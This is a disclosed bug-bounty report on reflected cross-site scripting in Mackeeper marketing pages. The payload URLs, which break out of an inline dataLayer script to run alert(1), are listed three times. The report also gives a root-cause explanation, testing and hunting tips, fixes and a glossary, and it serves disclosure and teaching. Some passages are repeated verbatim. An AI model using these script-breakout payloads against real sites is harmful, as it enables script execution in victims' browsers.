Multiple Links Vulnerable to Reflected xss
Several marketing pages on the site reflected URL parameters into an inline script without proper escaping, so a crafted link could break out of the script and run attacker-supplied JavaScript in the visitor's browser. An attacker could send such a link to a victim to execute script in the site's origin.
- Triaged in 10 hours
- Fixed in 2 months
- Paid in 17 days
- Disclosed after 3 months
Summary by the program
Summary
Multiple Links Vulnerable to Reflected xss in https://mackeeper.com/mk/de/
Steps to reproduce
goto these links and xss will be triggered
https://mackeeper.com/mk/de/adware-removal/?affid=596d6f80-eb86-11e9-84e4-a2e51eb97200-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=59ead2d9-eb86-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/anti-malware-lab/?affid=1ab6d400-ebdd-11e9-a756-f5850ae9fc00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=1b146bfe-ebdd-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/duplicates-finder/?affid=d4458300-eba4-11e9-92e9-aa39ddcd0c00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=d4d98772-eba4-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/eula-mk3/?affid=c4d36280-d8a2-11e9-afb9-22d3643f1600-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=c537a9a0-d8a2-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/internet-security/?affid=8fd9d780-ebe4-11e9-96e4-3e714f5bd500-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=903b0f74-ebe4-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/mac-antivirus/?affid=30e57580-eb86-11e9-91a9-c99b14b02b00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=316b9437-eb86-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/mac-uninstaller/?affid=47022e80-eba4-11e9-a836-8844e67acf00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=474685d3-eba4-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/partners?affid=c4d8fa00-d47f-11e9-bb31-4ca249ec8a00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=053b5eb3-d78a-11e9-959a-0242ac110002xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>>&utm_medium=buynow/xxxxxxxx'"><>
https://mackeeper.com/mk/de/refund/?affid=6c03ca00-d8a2-11e9-9fe9-faafdda89700-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=6c21ebb7-d8a2-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/remote_support/?affid=42956f00-d89f-11e9-a3e5-e8859fb1d300-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=42fbf9aa-d89f-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/remove-ads/?affid=7db89200-d8e1-11e9-9714-51ff6fb49400-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=7e0d842b-d8e1-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/track-my-mac/?affid=5a060600-eb86-11e9-9191-bb7558fcf700-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=5a7f3ae2-eb86-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/uninstall_mackeeper/?affid=26ece880-dc52-11e9-b6ef-24b4d9113900-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=274ef1ca-dc52-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/es/adware-removal/?affid=596d6f80-eb86-11e9-84e4-a2e51eb97200-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=59ead2d9-eb86-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
if xss not triggered try burpsuite to view source code sometime csp blocks alert, or you can use IE 11
<script>
var dataLayer = dataLayer || window.dataLayer || [];
dataLayer.push({
"pageType": "AllPages",
"userId": "7e0d842b-d8e1-11e9-8128-0242ac110004/xxxxxxxx",});</script>
<script>alert(1)</script>>><>",
"touchPoint": "web",
"country": "PK",
"affid": "145.14736301.1408462723.2.mzb"
});
</script>
What the report shows
This is a reflected cross-site scripting report against the Mackeeper site, filed on the Clario program on HackerOne by the researcher dilawer. The asset in scope was *.mackeeper.com, and the affected area was the German-language section under https://mackeeper.com/mk/de/. The report was rated low severity and paid a bounty of 50.00 USD. It was disclosed on 2020-05-17. The report does not describe a fix.
The researcher's summary is short: multiple links under https://mackeeper.com/mk/de/ are vulnerable to reflected XSS. The steps to reproduce are simply to visit the listed URLs, at which point the script is said to execute. The payload travels in the query string, and the injected script is appended after a closing </script> sequence and a URL-encoded newline (%0a).
The affected pages span a range of marketing and support paths in the German locale, including adware removal, anti-malware lab, duplicates finder, EULA, internet security, Mac antivirus, Mac uninstaller, partners, refund, remote support, remove ads, track my Mac and uninstall Mackeeper. One Spanish-locale page, https://mackeeper.com/mk/es/adware-removal/, is also listed. The full set of URLs is reproduced below exactly as given:
https://mackeeper.com/mk/de/adware-removal/?affid=596d6f80-eb86-11e9-84e4-a2e51eb97200-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=59ead2d9-eb86-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/anti-malware-lab/?affid=1ab6d400-ebdd-11e9-a756-f5850ae9fc00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=1b146bfe-ebdd-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/duplicates-finder/?affid=d4458300-eba4-11e9-92e9-aa39ddcd0c00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=d4d98772-eba4-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/eula-mk3/?affid=c4d36280-d8a2-11e9-afb9-22d3643f1600-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=c537a9a0-d8a2-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/internet-security/?affid=8fd9d780-ebe4-11e9-96e4-3e714f5bd500-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=903b0f74-ebe4-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/mac-antivirus/?affid=30e57580-eb86-11e9-91a9-c99b14b02b00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=316b9437-eb86-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/mac-uninstaller/?affid=47022e80-eba4-11e9-a836-8844e67acf00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=474685d3-eba4-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/partners?affid=c4d8fa00-d47f-11e9-bb31-4ca249ec8a00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=053b5eb3-d78a-11e9-959a-0242ac110002xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>>&utm_medium=buynow/xxxxxxxx'"><>
https://mackeeper.com/mk/de/refund/?affid=6c03ca00-d8a2-11e9-9fe9-faafdda89700-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=6c21ebb7-d8a2-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/remote_support/?affid=42956f00-d89f-11e9-a3e5-e8859fb1d300-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=42fbf9aa-d89f-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/remove-ads/?affid=7db89200-d8e1-11e9-9714-51ff6fb49400-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=7e0d842b-d8e1-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/track-my-mac/?affid=5a060600-eb86-11e9-9191-bb7558fcf700-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=5a7f3ae2-eb86-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/uninstall_mackeeper/?affid=26ece880-dc52-11e9-b6ef-24b4d9113900-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=274ef1ca-dc52-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/es/adware-removal/?affid=596d6f80-eb86-11e9-84e4-a2e51eb97200-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=59ead2d9-eb86-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
The researcher adds a note that if the XSS does not trigger, Burp Suite can be used to view the source code, since a CSP sometimes blocks the alert, and that Internet Explorer 11 can also be used. The report then shows the relevant fragment of the page source, in which the injected value lands inside a dataLayer.push call:
<script>
var dataLayer = dataLayer || window.dataLayer || [];
dataLayer.push({
"pageType": "AllPages",
"userId": "7e0d842b-d8e1-11e9-8128-0242ac110004/xxxxxxxx",});</script>
<script>alert(1)</script>>><>",
"touchPoint": "web",
"country": "PK",
"affid": "145.14736301.1408462723.2.mzb"
});
</script>
Root cause
The source fragment shows a query-string value written into an inline script block, inside a dataLayer.push call. The payload closes the surrounding string and the dataLayer.push call, then closes the script element, and the following <script>alert(1)</script> is parsed as a new script. The payload includes a URL-encoded newline, %0a, before the injected script. Because the value is reflected per request and not stored, this is reflected XSS.
Impact
An attacker who can get a victim to open one of these crafted URLs runs script in the context of the mackeeper.com origin. The report itself only demonstrates alert(1). The report itself only demonstrates alert(1) and does not describe any further exploitation. The program rated it low severity.
How this kind of bug works
Reflected XSS happens when a request value is echoed into the response without context-appropriate encoding. The dangerous case here is a value placed inside an inline <script> block: HTML-encoding alone is not enough, because the browser first parses the script element and then the JavaScript inside it. A single quote or double quote can terminate a string literal, and the sequence </script> terminates the script element regardless of JavaScript syntax. Once the attacker controls the text after that point, they can open a new script element.
Defences work at two levels. Output encoding must match the context: JavaScript string escaping for values inside script blocks, HTML entity encoding for HTML text and attributes, and JSON encoding when building data objects. A Content Security Policy that disallows inline script and unsafe-inline blocks the injected script from running, which is why the researcher notes that a CSP can hide the alert. CSP is a mitigation, not a substitute for correct encoding.
How to test for it
- Map every parameter that reaches the page, including tracking parameters such as affiliate IDs and analytics identifiers, not just obvious search or error fields.
- Send a benign marker value in each parameter and search the response body for it. Note the exact context: HTML text, an attribute, a URL inside a script, or a JavaScript string.
- Choose a payload for that context. For a JavaScript string, try breaking out of the quotes and the surrounding statement, then closing the script element and opening a new one.
- Confirm execution in a real browser rather than relying on the response body alone. If nothing fires, check the console and the page source for a CSP or for encoding that changed your payload.
- Test across locales and paths, since the same template is often reused under different language prefixes.
A positive result is your marker appearing unencoded in a position where it changes the parsed structure, and script executing in the browser. Common false positives are reflections that are HTML-encoded, reflections inside a JSON response with the correct content type, and payloads that appear in the source but are neutralised by a strict CSP. A reflection that is escaped for the context is not a finding.
How it is fixed
Encode every reflected value for the context it lands in, with JavaScript-aware escaping for inline script data and HTML encoding elsewhere. Prefer passing data to scripts through safe mechanisms such as JSON with correct escaping, or through data attributes read by static code. Add a Content Security Policy that forbids inline script, and avoid building inline script blocks from request data altogether.
Hunting notes
Tracking and analytics parameters are a good place to look, because they are often copied into inline scripts for tag managers and data layers. Localised paths (/mk/de/, /mk/es/) are worth testing, since the report lists pages under both prefixes. Recon signals include inline dataLayer.push blocks, affiliate or campaign parameters in URLs, and pages that echo query values into script tags. To make a report land, show the exact URL and the source fragment proving the breakout.
What happened, in plain words
This is a bug report about the Mackeeper website, filed on the Clario program on HackerOne by a researcher called dilawer. Mackeeper is a Mac cleanup and security product, and the site has marketing pages in several languages. The report says that many links under the German-language section, https://mackeeper.com/mk/de/, were vulnerable to reflected cross-site scripting, usually shortened to XSS.
XSS is a bug where a website takes something a visitor typed or sent and puts it into the page without cleaning it first. Think of a comment box that prints your comment on the page: if the site copies your text exactly, and your text contains instructions the browser treats as code, the browser will run that code. "Reflected" means the bad value comes in with the request and is echoed straight back in the response; it is not saved on the server for later visitors.
The asset in scope was *.mackeeper.com, meaning any subdomain of mackeeper.com. The report was rated low severity and paid a bounty of 50.00 USD. It was disclosed on 2020-05-17. The report does not describe a fix.
The researcher's summary is short: multiple links under https://mackeeper.com/mk/de/ are vulnerable to reflected XSS, and the steps to reproduce are simply to visit the listed URLs, at which point the script is said to execute. The payload travels in the query string, the part of a URL after the ? sign. The names affid and guid suggest an affiliate ID and a unique identifier. The injected script is appended after a closing </script> sequence and a URL-encoded newline, %0a.
The affected pages cover a range of marketing and support paths in the German locale: adware removal, anti-malware lab, duplicates finder, EULA (the end-user licence agreement page), internet security, Mac antivirus, Mac uninstaller, partners, refund, remote support, remove ads, track my Mac and uninstall Mackeeper. One Spanish-locale page, https://mackeeper.com/mk/es/adware-removal/, is also listed. Here is the full set of URLs exactly as given:
https://mackeeper.com/mk/de/adware-removal/?affid=596d6f80-eb86-11e9-84e4-a2e51eb97200-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=59ead2d9-eb86-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/anti-malware-lab/?affid=1ab6d400-ebdd-11e9-a756-f5850ae9fc00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=1b146bfe-ebdd-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/duplicates-finder/?affid=d4458300-eba4-11e9-92e9-aa39ddcd0c00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=d4d98772-eba4-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/eula-mk3/?affid=c4d36280-d8a2-11e9-afb9-22d3643f1600-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=c537a9a0-d8a2-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/internet-security/?affid=8fd9d780-ebe4-11e9-96e4-3e714f5bd500-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=903b0f74-ebe4-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/mac-antivirus/?affid=30e57580-eb86-11e9-91a9-c99b14b02b00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=316b9437-eb86-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/mac-uninstaller/?affid=47022e80-eba4-11e9-a836-8844e67acf00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=474685d3-eba4-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/partners?affid=c4d8fa00-d47f-11e9-bb31-4ca249ec8a00-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=053b5eb3-d78a-11e9-959a-0242ac110002xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>>&utm_medium=buynow/xxxxxxxx'"><>
https://mackeeper.com/mk/de/refund/?affid=6c03ca00-d8a2-11e9-9fe9-faafdda89700-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=6c21ebb7-d8a2-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/remote_support/?affid=42956f00-d89f-11e9-a3e5-e8859fb1d300-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=42fbf9aa-d89f-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/remove-ads/?affid=7db89200-d8e1-11e9-9714-51ff6fb49400-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=7e0d842b-d8e1-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/track-my-mac/?affid=5a060600-eb86-11e9-9191-bb7558fcf700-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=5a7f3ae2-eb86-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/de/uninstall_mackeeper/?affid=26ece880-dc52-11e9-b6ef-24b4d9113900-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=274ef1ca-dc52-11e9-8128-0242ac110004/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
https://mackeeper.com/mk/es/adware-removal/?affid=596d6f80-eb86-11e9-84e4-a2e51eb97200-mzbxxxxxxxx'"><>&gr=1xxxxxxxx'"><>&guid=59ead2d9-eb86-11e9-959a-0242ac110002/xxxxxxxx",});</script>%0a<script>alert(1)</script>>><>
Reading one URL piece by piece helps. The part before the ? is the page address. After the ? come name and value pairs joined by &. The query string contains '"><>, which mixes a single quote, a double quote and angle brackets, characters that mean something special to a browser. Then </script> tries to close a script block, %0a is a newline written in encoded form, and <script>alert(1)</script> is a tiny script that pops up a box saying 1. The alert(1) box is the standard harmless proof that code ran.
The researcher adds a note: if the XSS does not trigger, Burp Suite can be used to view the source code, because a CSP sometimes blocks the alert, and Internet Explorer 11 can also be used. Burp Suite is a tool that sits between your browser and the site and lets you inspect the raw requests and responses. CSP, short for Content Security Policy, is a rule the site sends telling the browser which scripts it may run; a strict policy can stop an injected script even when the page contains it.
The report then shows the relevant fragment of the page source, where the injected value lands inside a dataLayer.push call. A data layer is a small JavaScript object that analytics and tag-management tools read to learn about the page:
<script>
var dataLayer = dataLayer || window.dataLayer || [];
dataLayer.push({
"pageType": "AllPages",
"userId": "7e0d842b-d8e1-11e9-8128-0242ac110004/xxxxxxxx",});</script>
<script>alert(1)</script>>><>",
"touchPoint": "web",
"country": "PK",
"affid": "145.14736301.1408462723.2.mzb"
});
</script>
Why it happens
The fragment shows a value from the query string written into an inline script block, inside a dataLayer.push call. The payload closes the surrounding string and the dataLayer.push call, then closes the script element, and the following <script>alert(1)</script> is parsed as a new script. The payload includes a URL-encoded newline, %0a, before the injected script. Because the value is reflected per request and not stored, this is reflected XSS.
What an attacker could do
Someone who gets a victim to open one of these crafted URLs runs script in the context of the mackeeper.com origin. The report itself only demonstrates alert(1). The report itself only demonstrates alert(1) and does not describe any further exploitation. The program rated it low severity.
In general, how this kind of bug works
Reflected XSS happens when a request value is echoed into the response without context-appropriate encoding. Encoding means turning special characters into harmless stand-ins, the way a form might ask you to write "and" instead of "&". The dangerous case here is a value placed inside an inline <script> block: HTML-encoding alone is not enough, because the browser first parses the script element and then the JavaScript inside it. A single quote or double quote can terminate a string literal, and the sequence </script> terminates the script element regardless of JavaScript syntax. Once the attacker controls the text after that point, they can open a new script element.
Defences work at two levels. Output encoding must match the context: JavaScript string escaping for values inside script blocks, HTML entity encoding for HTML text and attributes, and JSON encoding when building data objects. A Content Security Policy that disallows inline script and unsafe-inline blocks the injected script from running, which is why the researcher notes that a CSP can hide the alert. CSP is a mitigation, not a substitute for correct encoding.
In general, how to test for it
- Map every parameter that reaches the page, including tracking parameters such as affiliate IDs and analytics identifiers, not just obvious search or error fields. Tracking values are easy to overlook because they look boring.
- Send a harmless marker value in each parameter and search the response body for it. Note the exact context: HTML text, an attribute, a URL inside a script, or a JavaScript string. The context decides which characters matter.
- Choose a payload for that context. For a JavaScript string, try breaking out of the quotes and the surrounding statement, then closing the script element and opening a new one.
- Confirm execution in a real browser rather than relying on the response body alone. If nothing fires, check the console and the page source for a CSP or for encoding that changed your payload.
- Test across locales and paths, since the same template is often reused under different language prefixes.
A positive result is your marker appearing unencoded in a position where it changes the parsed structure, and script executing in the browser. Common false positives are reflections that are HTML-encoded, reflections inside a JSON response with the correct content type, and payloads that appear in the source but are neutralised by a strict CSP. A reflection that is escaped for the context is not a finding.
In general, how it is fixed
Encode every reflected value for the context it lands in, with JavaScript-aware escaping for inline script data and HTML encoding elsewhere. Prefer passing data to scripts through safe mechanisms such as JSON with correct escaping, or through data attributes read by static code. Add a Content Security Policy that forbids inline script, and avoid building inline script blocks from request data altogether.
In general, where to look
Tracking and analytics parameters are a good place to look, because they are often copied into inline scripts for tag managers and data layers. Localised paths (/mk/de/, /mk/es/) are worth testing, since the report lists pages under both prefixes. Recon signals include inline dataLayer.push blocks, affiliate or campaign parameters in URLs, and pages that echo query values into script tags. To make a report land, show the exact URL and the source fragment proving the breakout.
Glossary
- Reflected XSS: XSS where the bad value arrives with the request and is echoed back immediately, rather than being stored on the server.
- Query string: the part of a URL after
?, carrying name and value pairs separated by&. - Parameter: one named value in a request, such as
affidorguid. - Payload: the crafted text an attacker sends to trigger a bug.
- Encoding: converting special characters into safe stand-ins so they are not interpreted as code.
- HTML entity encoding: replacing characters such as
<and>with codes the browser displays rather than parses. - JavaScript string escaping: marking quotes and other characters inside a script so they stay part of the text and do not end the string.
- Inline script: JavaScript written directly inside an HTML page rather than loaded from a separate file.
</script>: the tag that ends a script block; the browser honours it even inside JavaScript text.%0a: a URL-encoded newline character.alert(1): a browser pop-up used as harmless proof that script executed.- CSP (Content Security Policy): a rule the site sends telling the browser which scripts it may run.
unsafe-inline: a CSP setting that permits inline scripts, weakening the policy.- Data layer: a JavaScript object that analytics and tag-management tools read to learn about a page.
dataLayer.push: the call that adds an entry to that data layer object.- Affiliate ID (
affid): a tracking value recording which partner sent a visitor. - GUID: a long unique identifier.
- Burp Suite: a tool that intercepts and inspects requests and responses between browser and site.
- Origin: the combination of scheme, host and port that a browser uses to separate one site's data from another's.
- False positive: a result that looks like a bug but is not exploitable.
- Bounty: a payment a program makes for a valid security report.